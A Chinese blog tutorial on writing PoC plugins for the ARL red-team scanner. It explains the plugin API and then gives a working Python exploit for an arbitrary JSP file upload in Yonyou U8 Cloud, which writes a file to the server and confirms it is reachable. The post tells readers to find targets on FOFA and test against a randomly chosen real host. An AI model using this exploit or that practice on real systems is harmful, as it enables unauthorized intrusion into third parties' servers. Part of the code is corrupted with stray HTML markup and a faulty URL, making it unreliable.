arl-高级红队助手

2023年了,外边的代码还是那么的飘逸…各家的poc是各家的poc…为了统一规范,花了一点时间写了下arl的poc,抛砖引玉,希望各位师傅能一起来开发poc

POC相关

灯塔的POC有点少添加一下,找到POC的添加,然后进入!

docker exec  -it 407edbf4b35b /bin/bash

这里直接找POC的所在位置,官方已经给出相关说明

https://github.com/1c3z/ARL-NPoC

进去之后来到/opt/ARL-NPoC

cd /opt/ARL-NPoC && ls

新建终端,然后使用docker cp 将这个ARL-NPoC,拉到根目录

docker cp 407edbf4b35b:/opt/ARL-NPoC /

下载到本地,进行分析。把里面的环境装一下(要有python环境)

pip install -r requirements.txt

使用vscode打开

arl-高级红队助手_第1张图片

看POC的,没注释,让GPT生成注释即可

各个函数的意义

__init()__:初始化函数。
复制成功

def __init__(self):
    super(Plugin, self).__init__()
    # 插件类型poc
    self.plugin_type = PluginType.POC
    # 插件name
    self.vul_name = "泛微 Ecology getdata.jsp SQL注入漏洞"
    # 探测组件name
    self.app_name = 'Ecology'
    # 探测协议?
    self.scheme = [SchemeType.HTTP, SchemeType.HTTPS]

verify():验证函数。

def verify(self, target):   #参数target


http_req():请求函数。

def http_req(url, method = 'get', **kwargs): #传入url,请求方法get,post....


post请求实例:

http_req(url, method='post', data=data)
http_req(url, method='post', data=data, headers=header)



http_req()处理方法

1. content(): # 获取响应包
conn = http_req(url, "get")

if b"GitLab" not in conn.content:
      return False

2. json(): # json处理响应包

conn = http_req(url, "get")
data = conn.json()

3. status_code: #获取响应值

conn = http_req(url, "get", auth=(user, passwd))
if conn.status_code == 200:
     return True
conn = http_req(url)

4. text: #获取响应体。和content类似吧

conn = http_req(url, "get")
pattern = r''
matches = re.findall(pattern=pattern, string=conn.text)

5. headers.get() # 获取响应头

conn = http_req(url, "get")

if self._check_str not in conn.headers.get("WWW-Authenticate", ""):
       return False

6.self.logger.debug() #信息回显

self.logger.debug("not Ecology {}".format(target))


def init_logger():
    log_colors = {
        'DEBUG': 'white',
        'INFO': 'green',
        'SUCCESS':  'red',
        'WARNING': 'yellow',
        'ERROR': 'red',
        'CRITICAL': 'bold_red',
    }
    

 

后续代码编写可能会有问题,可以在本地简单测试保证不爆红之后再同步到远程arl。

pip install -e .      # 安装依赖
python setup.py --help-commands  # 查看安装命令帮助
python setup.py install       # 安装

arl-高级红队助手_第2张图片

arl-高级红队助手_第3张图片

提示帮助的同时也会加载编写好的插件,错误的插件会报错,此时就可以针对这些报错的插件做针对性修改。

xing -h

arl-高级红队助手_第4张图片

(经过测试,本地win没有办法加载poc,所以在linux上传测试,上述的测试环境搭建也要再做一次)

下边是用友-U8-Cloud-任意文件上传的poc演示

poc要多些,这个poc也是比较简单,arl已经内置相关写法,多看看demo的各种写法即可

有bug,在arl默认是https走,要加前缀,已经解决)

#app="用友-U8-Cloud"
# 导入必要的模块
from xing.core.BasePlugin import BasePlugin  # 导入BasePlugin类,用于创建插件基类
from xing.utils import http_req  # 导入http_req函数,用于发送HTTP请求
from xing.core import PluginType, SchemeType  # 导入PluginType和SchemeType枚举,用于指定插件类型和协议类型

# 定义Plugin类,继承自BasePlugin
class Plugin(BasePlugin):
    def __init__(self):
        super(Plugin, self).__init__()  # 调用父类的构造函数
        self.plugin_type = PluginType.POC  # 将插件类型设置为POC(Proof of Concept,概念验证)
        self.vul_name = "用友-U8-Cloud-任意文件上传"  # 定义漏洞名称
        self.app_name = 'U8'  # 将应用程序名称定义为 U8
        self.scheme = [SchemeType.HTTP]  # 指定支持的协议类型和HTTP

    # 定义用于检测漏洞的verify方法
    def verify(self, target):
        path = ["/linux/pages/upload.jsp"]  # 定义待检测的路径列表
        url = target + path[0]  # 构建完整的URL
        
        # 设置请求头
        header = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0",
            "Accept-Encoding": "gzip, deflate",
            "Accept": "*/*",
            "Connection": "close",
            "Content-Type": "application/x-www-form-urlencoded",
            "filename": "55051.jsp",
            "Content-Length": "30"
        }

        # 发送POST请求并获取响应
        data = '<% out.println(\"Console\"); %>'  # POST请求的数据


        #conn = requests.post(url, data=data, headers=header)
        conn = http_req(url, method='post', data=data, headers=header)
        
        content = conn.content  # 获取返回的内容

        # 发送GET请求并获取状态码
        conn1 = http_req(url + '/linux/55051.jsp')

        if conn.status_code != 404:  # 如果状态码不是404
            
            if (b"This page for response"</span> <span class="token keyword">not</span> <span class="token keyword">in</span> content <span class="token keyword">and</span> <span class="token string">b"upload success"</span> <span class="token keyword">not</span> <span class="token keyword">in</span> content<span class="token punctuation">)</span> <span class="token punctuation">:</span>  <span class="token comment"># 如果返回的内容不包含"<title>This page for response"或者"success file"</span>
                
                self<span class="token punctuation">.</span>logger<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">"not found U8-Cloud-upload file"</span><span class="token punctuation">)</span>  <span class="token comment"># 打印调试信息</span>

                <span class="token keyword">return</span> url  
                
            <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token string">b"<title>This page for response"</span> <span class="token keyword">in</span> content <span class="token keyword">or</span> <span class="token string">b"upload success"</span> <span class="token keyword">in</span> content<span class="token punctuation">)</span> <span class="token keyword">or</span> <span class="token punctuation">(</span>conn1<span class="token punctuation">.</span>status_code <span class="token operator">==</span> <span class="token number">200</span><span class="token punctuation">)</span><span class="token punctuation">:</span>  <span class="token comment"># 如果返回的内容包含指定的字符串</span>


                self<span class="token punctuation">.</span>logger<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">"用友U8-Cloud-upload {}"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>target<span class="token operator">+</span><span class="token string">'/linux/55051.jsp'</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token comment"># 打印成功信息</span>

                <span class="token keyword">return</span> target<span class="token operator">+</span><span class="token string">'/linux/55051.jsp'</span>    
                <span class="token comment">#return必须写,作为风险巡航-漏扫-凭证会用到</span>
</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/f7fedbfdff614337ada2af516a6e5a3f.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/f7fedbfdff614337ada2af516a6e5a3f.jpg" alt="arl-高级红队助手_第5张图片" width="650" height="341" style="border:1px solid black;"></a><br> )</p> 
  <p>目标从fofa找即可,关键字</p> 
  <pre><code>app="用友-U8-Cloud"
</code></pre> 
  <p>这里随便找一个进行测试</p> 
  <p></p> 
  <p>将测试好的poc上传到arl里</p> 
  <p></p> 
  <p>回到灯塔,查看poc</p> 
  <p><a href="http://img.e-com-net.com/image/info8/011cb335bbdd4cbe958ccc1652fcf6a8.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/011cb335bbdd4cbe958ccc1652fcf6a8.jpg" alt="arl-高级红队助手_第6张图片" width="650" height="332" style="border:1px solid black;"></a></p> 
  <p>POC测试</p> 
  <p>在策略配置上选中POC单个测试</p> 
  <p><a href="http://img.e-com-net.com/image/info8/37e86af18613493cb558279921b1834d.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/37e86af18613493cb558279921b1834d.jpg" alt="arl-高级红队助手_第7张图片" width="650" height="289" style="border:1px solid black;"></a></p> 
  <p>扫描主机,然后风险任务下发,选择poc</p> 
  <p>执行完毕后会看到凭证,就是上传文件的证明</p> 
 </div> 
</div>
                            </div>
                        </div>
                    </div>
                    <!--PC和WAP自适应版-->
                    <div id="SOHUCS" sid="1905458929110937600"></div>
                    <script type="text/javascript" src="/views/front/js/chanyan.js"></script>
                    <!-- 文章页-底部 动态广告位 -->
                    <div class="youdao-fixed-ad" id="detail_ad_bottom"></div>
                </div>
                <div class="col-md-3">
                    <div class="row" id="ad">
                        <!-- 文章页-右侧1 动态广告位 -->
                        <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_1"> </div>
                        </div>
                        <!-- 文章页-右侧2 动态广告位 -->
                        <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_2"></div>
                        </div>
                        <!-- 文章页-右侧3 动态广告位 -->
                        <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_3"></div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div class="container">
        <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(学习历程,web安全)</h4>
        <div id="paradigm-article-related">
            <div class="recommend-post mb30">
                <ul class="widget-links">
                    <li><a href="/article/1950132204336115712.htm"
                           title="《跨域资源共享CORS的深层逻辑与前端实践精要》" target="_blank">《跨域资源共享CORS的深层逻辑与前端实践精要》</a>
                        <span class="text-muted"></span>

                        <div>不同源头的资源交互已成为常态,而跨域资源共享(CORS)正是支撑这种交互的隐形架构。现代Web安全体系中平衡开放与防护的精妙设计。理解CORS的深层逻辑,不仅能解决实际开发中的跨域难题,更能触及网络安全与资源流通的核心矛盾,为前端工程师构建稳健的应用提供底层认知支撑。跨域资源共享的诞生,源于网络安全与应用发展的必然冲突。浏览器的同源策略,作为早期网络安全的基石,通过限制不同源文档的交互,有效阻挡了</div>
                    </li>
                    <li><a href="/article/1950023029220241408.htm"
                           title="代码审计与web安全选择题1" target="_blank">代码审计与web安全选择题1</a>
                        <span class="text-muted">m0_74726609</span>
<a class="tag" taget="_blank" href="/search/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/1.htm">代码审计</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a>
                        <div>软件供应链安全的基础是()A.完善的需求分析B.源代码安全C.渗透测试D.软件测试参考答案:B保证源代码安全的主要措施包括()A.开发工具和环境的安全B.代码安全C.渗透测试D.代码审计E.软件的说明文档完整参考答案:ABCD通过()技术,实现源代码在终端、网络及服务器存储场景下全周期的安全管理,防止内部代码有意、无意泄露、扩散出去。A.数据加B.数据脱C.数据安全隔离D.防火墙参考答案:C软件供</div>
                    </li>
                    <li><a href="/article/1949705393823346688.htm"
                           title="WEB安全--Java安全--jsp webshell免杀" target="_blank">WEB安全--Java安全--jsp webshell免杀</a>
                        <span class="text-muted"></span>

                        <div>1.1、BCELClassLoader介绍(仅适用于BCEL6.0以下):BCEL(ApacheCommonsBCEL™)是一个用于分析、创建和操纵Java类文件的工具库;BCEL的类加载器在解析类名时会对ClassName中有BCEL标识的类做特殊处理,该特性经常被用于编写各类攻击Payload。当BCEL的loadClass加载一个类名中带有BCEL$$”的类时会截取出BCEL后面的字符串,然</div>
                    </li>
                    <li><a href="/article/1949075580737613824.htm"
                           title="【Web安全】逻辑漏洞之URL跳转漏洞:原理、场景与防御" target="_blank">【Web安全】逻辑漏洞之URL跳转漏洞:原理、场景与防御</a>
                        <span class="text-muted">介一笔记</span>
<a class="tag" taget="_blank" href="/search/%23/1.htm">#</a><a class="tag" taget="_blank" href="/search/Web%E5%AE%89%E5%85%A8%E5%9F%BA%E7%A1%80/1.htm">Web安全基础</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8%E6%80%A7%E6%B5%8B%E8%AF%95/1.htm">安全性测试</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8%E5%A8%81%E8%83%81%E5%88%86%E6%9E%90/1.htm">安全威胁分析</a><a class="tag" taget="_blank" href="/search/%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E/1.htm">逻辑漏洞</a><a class="tag" taget="_blank" href="/search/URL%E8%B7%B3%E8%BD%AC/1.htm">URL跳转</a>
                        <div>文章目录前言一、漏洞本质二、攻击原理正常跳转流程漏洞触发流程三、抓包的关键时机:跳转参数生成时四、风险场景1.登录/注册后跳转2.退出登录跳转3.分享/广告链接跳转4.密码重置链接跳转五、漏洞挖掘:怎么找到这种漏洞?1.找到跳转参数2.篡改参数测试3.绕过网站的简单拦截六、漏洞危害:被利用后会发生什么?七、URL跳转漏洞危害实例:从正常登录到信息被窃的全过程1.正常登录流程(无漏洞时)2.漏洞被利</div>
                    </li>
                    <li><a href="/article/1948341731418238976.htm"
                           title="Node.js特训专栏-实战进阶:17.会话管理与安全存储" target="_blank">Node.js特训专栏-实战进阶:17.会话管理与安全存储</a>
                        <span class="text-muted">爱分享的程序员</span>
<a class="tag" taget="_blank" href="/search/Node.js/1.htm">Node.js</a><a class="tag" taget="_blank" href="/search/node.js/1.htm">node.js</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a>
                        <div>欢迎来到Node.js实战专栏!在这里,每一行代码都是解锁高性能应用的钥匙,让我们一起开启Node.js的奇妙开发之旅!Node.js特训专栏主页专栏内容规划详情会话管理与安全存储:从原理到实战的Web安全实践在Web应用中,会话(Session)是维持用户状态的核心机制——从用户登录到退出的整个过程中,会话管理负责跟踪用户身份、权限及操作状态。然而,会话管理一旦出现漏洞,可能导致用户身份被盗用、</div>
                    </li>
                    <li><a href="/article/1948294993248579584.htm"
                           title="《学习共同体走向深度学习》" target="_blank">《学习共同体走向深度学习》</a>
                        <span class="text-muted">赛赛2022</span>

                        <div>作者通过对学生学习过程中的表情、动作、言语,对教师提问的反应,与其他同学的互动,学习过程中独特的观点、学习风格、学习状态的变化过程、学习成果等的观察,从而形成了对个体学生学习历程“完整证据链”,并以此来反观和反思教学。作者认为虽然每节课都只观察个体学生,但是如果保持高频率、持续性地观察,学生学习的“黑匣子”就会真正打开。目前我国课堂最大的困境是:中小学课堂上虚假学习、浅表学习的学生大量存在,学困生</div>
                    </li>
                    <li><a href="/article/1947927903438172160.htm"
                           title="《第十五次网课收获》" target="_blank">《第十五次网课收获》</a>
                        <span class="text-muted">宛如初夏</span>

                        <div>伊川王利珍坚持原创分享第386天今天晚上是网络中级第15次课程。再有一次就要结束了,还真的有点恋恋不舍呢!刘老师已经开始提前给我们预告了,以期降低我们的分离焦虑!四个月的学习历程。我们彼此由陌生到熟悉。现在经常在一块约练的几个学员已经是老朋友的感觉。虽然从未谋面,但心灵相通,互相扶持,互相帮助。电波相连的情谊也是一种别样的美好!首先通过顾老师展示的案例,大家各抒己见,加上刘老师的讲解。又收获了很多</div>
                    </li>
                    <li><a href="/article/1947531062020206592.htm"
                           title="【Java代码审计 | 第五篇】XSS漏洞成因+实战案例" target="_blank">【Java代码审计 | 第五篇】XSS漏洞成因+实战案例</a>
                        <span class="text-muted">秋说</span>
<a class="tag" taget="_blank" href="/search/Java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/1.htm">Java代码审计</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/xss/1.htm">xss</a>
                        <div>未经许可,不得转载。文章目录XSS漏洞成因1、直接输出用户输入2、在JSP中使用EL表达式输出用户输入3、在Thymeleaf模板中输出用户输入4、在JavaScript中嵌入用户输入实战案例案例1案例2案例3XSSXSS(跨站脚本攻击,Cross-SiteScripting)是一种常见的Web安全漏洞,攻击者通过在网页中注入恶意脚本,使得这些脚本在用户的浏览器中执行。XSS攻击通常分为以下三种类</div>
                    </li>
                    <li><a href="/article/1947470027783467008.htm"
                           title="【Web安全】逻辑漏洞之支付漏洞:原理、场景与防御" target="_blank">【Web安全】逻辑漏洞之支付漏洞:原理、场景与防御</a>
                        <span class="text-muted">介一笔记</span>
<a class="tag" taget="_blank" href="/search/%23/1.htm">#</a><a class="tag" taget="_blank" href="/search/Web%E5%AE%89%E5%85%A8%E5%9F%BA%E7%A1%80/1.htm">Web安全基础</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E6%94%AF%E4%BB%98%E6%BC%8F%E6%B4%9E/1.htm">支付漏洞</a><a class="tag" taget="_blank" href="/search/%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E/1.htm">逻辑漏洞</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8%E6%80%A7%E6%B5%8B%E8%AF%95/1.htm">安全性测试</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8%E5%A8%81%E8%83%81%E5%88%86%E6%9E%90/1.htm">安全威胁分析</a>
                        <div>文章目录前言一、漏洞本质二、攻击原理正常支付流程漏洞触发流程三、抓包的时机选择:生成订单时四、风险场景1.隐藏商品购买(开发人员预留的测试商品)2.付费功能免费使用(添加付费参数:JS中查询、先买个会员抓包查看)3.修改订单类型(0改成-1、1、2、3)4.修改通用参数(自动计算最终折扣)五、检测方式1.黑盒测试:模拟攻击流程2.白盒审计:代码层校验逻辑排查六、防御方案1.严格校验关键参数2.订单</div>
                    </li>
                    <li><a href="/article/1947422367496073216.htm"
                           title="Web安全之CSP" target="_blank">Web安全之CSP</a>
                        <span class="text-muted">weixin_30649641</span>
<a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/1.htm">开发工具</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a>
                        <div>内容安全策略(Content-Security-Policy,简称CSP)概念:内容安全策略(CSP)是一种web应用技术用于帮助缓解大部分类型的内容注入攻击,包括XSS攻击和数据注入等,这些攻击可实现数据窃取、网站破坏和作为恶意软件分发版本等行为。该策略可让网站管理员指定客户端允许加载的各类可信任资源。浏览器支持:统计来源:caniuse.com/contentsecuritypolicy&Mo</div>
                    </li>
                    <li><a href="/article/1947413660796252160.htm"
                           title="内容安全策略(CSP)详解:Web安全的关键防线" target="_blank">内容安全策略(CSP)详解:Web安全的关键防线</a>
                        <span class="text-muted">KP_0x01</span>
<a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a>
                        <div>目录一、CSP基础概念与核心价值1.1CSP的核心优势1.2主要防护目标二、CSP策略配置详解2.1基本指令集2.2典型配置方案三、高级防护技术与实践3.1非ce替代方案3.2哈希与nonce应用3.3常见配置错误与修正一、CSP基础概念与核心价值内容安全策略(ContentSecurityPolicy)是一种通过HTTP头或元素定义的安全标准,用于精确控制网页可以加载哪些外部资源,从根本上减少X</div>
                    </li>
                    <li><a href="/article/1946597308778999808.htm"
                           title="提高互联网Web安全性:避免越权漏洞的技术方案" target="_blank">提高互联网Web安全性:避免越权漏洞的技术方案</a>
                        <span class="text-muted">码农老起</span>
<a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E5%8A%A0%E5%AF%86%E7%AE%97%E6%B3%95/1.htm">加密算法</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a>
                        <div>目录一、越权漏洞概述二、常见的越权漏洞类型三、越权漏洞的影响四、越权漏洞的技术解决方案一、越权漏洞概述越权(AuthorizationBypass)类漏洞是指在系统中,攻击者通过绕过身份验证或访问控制,获取本不应访问的资源或执行本不应执行的操作。简单来说,越权漏洞发生时,用户能够访问或操作超出其授权范围的数据或功能。在Web应用中,越权漏洞通常出现在访问控制机制不严密、权限检查不充分或不正确的情况</div>
                    </li>
                    <li><a href="/article/1943756887623266304.htm"
                           title="【WEB安全】任意URL跳转" target="_blank">【WEB安全】任意URL跳转</a>
                        <span class="text-muted"></span>

                        <div>1.1.漏洞介绍URL跳转漏洞(URLRedirectionVulnerability)又叫开放重定向漏洞(OpenRedirectVulnerability),是一种常见的网络安全漏洞,它存在于许多网站和应用程序中。该漏洞的根本原因是没有对用户提供的URL进行充分的验证和过滤,导致攻击者可以通过构造恶意URL,将用户重定向到任意的网站或应用程序中。1.2.漏洞危害以攻击用户客户端为主,对服务器本</div>
                    </li>
                    <li><a href="/article/1943603100644339712.htm"
                           title="深入理解跨站请求伪造(CSRF):原理、危害与防御" target="_blank">深入理解跨站请求伪造(CSRF):原理、危害与防御</a>
                        <span class="text-muted">weixin_47233946</span>
<a class="tag" taget="_blank" href="/search/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/1.htm">信息安全</a><a class="tag" taget="_blank" href="/search/csrf/1.htm">csrf</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a>
                        <div>引言跨站请求伪造(Cross-SiteRequestForgery,CSRF)是一种常见的Web安全漏洞,攻击者通过伪装用户身份执行非授权操作。根据OWASP(开放网络应用安全项目)的统计,CSRF曾多次入选十大Web安全威胁。本文将深入剖析CSRF的工作原理、潜在危害及防御策略。一、CSRF攻击原理1.1核心机制CSRF利用用户在目标网站(如银行网站)的已认证会话,诱骗其在不知情时发起恶意请求。</div>
                    </li>
                    <li><a href="/article/1943465921297313792.htm"
                           title="比较系统的web安全学习路线" target="_blank">比较系统的web安全学习路线</a>
                        <span class="text-muted">蚁景网安</span>
<a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8%E6%80%A7%E6%B5%8B%E8%AF%95/1.htm">安全性测试</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/1024%E7%A8%8B%E5%BA%8F%E5%91%98%E8%8A%82/1.htm">1024程序员节</a>
                        <div>更新中ing操作系统基础VM的安装虚拟机介绍VMwareWorkstation软件的安装VMware安装操作系统VMware网络配置详解虚拟机使用保存快照配置网络桥接模式NAT模式仅主机模式windows命令基础linux基础更换源设置中文安装中文输入法ubuntu系统设置root用户自动登录Linux目录结构文件权限VI/VIM的使用linux命令云服务器介绍VPS的作用云服务器提供方案介绍Do</div>
                    </li>
                    <li><a href="/article/1943007959097339904.htm"
                           title="【web安全】SQLMap 参数深度解析:--risk 与 --level 详解" target="_blank">【web安全】SQLMap 参数深度解析:--risk 与 --level 详解</a>
                        <span class="text-muted"></span>

                        <div>目录简介一、--risk参数:测试风险控制1.基本定义2.各级别详细对比risk=1(默认)risk=2risk=33.使用建议二、--level参数:测试深度控制1.基本定义2.各级别详细对比level=1(默认)level=2level=3level=4level=53.技术实现差异4.使用建议三、参数组合策略1.经典组合方案2.DVWAHigh级别推荐四、性能与效果对比1.测试数据统计2.资</div>
                    </li>
                    <li><a href="/article/1942179941265240064.htm"
                           title="网络安全/Web安全/渗透测试入门/信息收集" target="_blank">网络安全/Web安全/渗透测试入门/信息收集</a>
                        <span class="text-muted">&Sinnt&</span>
<a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a>
                        <div>网络安全/Web安全/渗透测试入门/信息收集本篇文章主要讲解如何进行信息收集,列举了在信息收集中常见的工具和手段。原文地址:sinblog一,whois查询WHOIS查询是一种查找域名注册信息的工具或服务。WHOIS是一个协议,允许用户查询某个域名或IP地址的域名、注册信息以及其他相关互联网的详细数据。WHOIS数据库由多个注册商提供和注册机构维护,公开提供域名注册人的信息。自己购买一个域名,配置</div>
                    </li>
                    <li><a href="/article/1941425088440102912.htm"
                           title="2025web建议" target="_blank">2025web建议</a>
                        <span class="text-muted"></span>

                        <div>随便收集的信息新手入门路线推荐第一步:Web安全相关概念建议学习时间:2周学习内容如下:1、熟悉基本概念(SQL注入、上传、XSS、CSRF、一句话木马等)。2、通过关键字(SQL注入、上传、XSS、CSRF、一句话木马等)进行Google。3、阅读《Web安全深度剖析》,作为入门学习还是可以的。4、看一些渗透笔记/视频,了解渗透实战的整个过程,可以Google(渗透笔记、渗透过程、入侵过程等)。</div>
                    </li>
                    <li><a href="/article/1941188850034470912.htm"
                           title="Web安全测试详解" target="_blank">Web安全测试详解</a>
                        <span class="text-muted"></span>

                        <div>点击文末小卡片,免费获取软件测试全套资料,资料在手,涨薪更快随着互联网时代的蓬勃发展,基于Web环境下的应用系统、应用软件也得到了越来越广泛的使用。目前,很多企业的业务发展都依赖于互联网,比如,网上银行、网络购物、网络游戏等。但,由于很多恶意攻击者想通过截获他人信息去谋取利益,因此,会对Web服务器进行攻击。攻击的方式也非常多,常见的有SQL注入、跨站脚本攻击、跨站请求伪造、缓存区溢出等。由此,我</div>
                    </li>
                    <li><a href="/article/1940732231035187200.htm"
                           title="[ 渗透测试面试篇 ] 渗透测试面试题大集合(详解)(4-2)XSS注入相关面试题" target="_blank">[ 渗透测试面试篇 ] 渗透测试面试题大集合(详解)(4-2)XSS注入相关面试题</a>
                        <span class="text-muted">寒蝉听雨[原ID_PowerShell]</span>
<a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95%E6%80%BB%E7%BB%93/1.htm">面试总结</a><a class="tag" taget="_blank" href="/search/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E8%87%AA%E5%AD%A6%E7%AF%87/1.htm">渗透测试自学篇</a><a class="tag" taget="_blank" href="/search/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E9%9D%A2%E8%AF%95%E5%88%86%E4%BA%AB/1.htm">渗透测试面试分享</a><a class="tag" taget="_blank" href="/search/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/1.htm">渗透测试</a><a class="tag" taget="_blank" href="/search/%E5%8D%87%E8%81%8C%E5%8A%A0%E8%96%AA/1.htm">升职加薪</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/XSS%E6%B3%A8%E5%85%A5%E9%9D%A2%E8%AF%95%E9%A2%98/1.htm">XSS注入面试题</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E9%9D%A2%E8%AF%95%E9%A2%98/1.htm">网络安全面试题</a><a class="tag" taget="_blank" href="/search/1024%E7%A8%8B%E5%BA%8F%E5%91%98%E8%8A%82/1.htm">1024程序员节</a>
                        <div>博主介绍‍博主介绍:大家好,我是_PowerShell,很高兴认识大家~✨主攻领域:【渗透领域】【数据通信】【通讯安全】【web安全】【面试分析】点赞➕评论➕收藏==养成习惯(一键三连)欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋作者水平有限,欢迎各位大佬指点,相互学习进步!渗透方向的岗位,涉及到的知识点是很广泛的。这里我总结了整个一系列的面试题,可能没有覆盖到全部的知识面,但是应该是比较全面的</div>
                    </li>
                    <li><a href="/article/1940706387776565248.htm"
                           title="【web安全】远程命令执行(RCE)漏洞深度解析与攻防实践" target="_blank">【web安全】远程命令执行(RCE)漏洞深度解析与攻防实践</a>
                        <span class="text-muted">KPX</span>
<a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/windows/1.htm">windows</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E6%BC%8F%E6%B4%9E/1.htm">漏洞</a>
                        <div>目录摘要1.RCE漏洞概述1.1基本概念1.2漏洞危害等级2.RCE漏洞原理深度分析2.1漏洞产生条件2.2常见危险函数2.2.1PHP环境2.2.2Java环境2.2.3Python环境3.RCE利用技术进阶3.1基础注入技术扩展3.1.1命令分隔技术3.1.2参数注入技术3.2高级绕过技术3.2.1编码混淆3.2.2字符串拼接3.3盲注技术3.3.1时间延迟检测3.3.2DNS外带数据3.3.</div>
                    </li>
                    <li><a href="/article/1940641077899882496.htm"
                           title="52-【JavaScript-Day 52】告别“野路子”代码:ESLint、Prettier与Web安全入门" target="_blank">52-【JavaScript-Day 52】告别“野路子”代码:ESLint、Prettier与Web安全入门</a>
                        <span class="text-muted">吴师兄大模型</span>
<a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/ecmascript/1.htm">ecmascript</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E5%A4%A7%E6%A8%A1%E5%9E%8B/1.htm">大模型</a><a class="tag" taget="_blank" href="/search/ESLint/1.htm">ESLint</a>
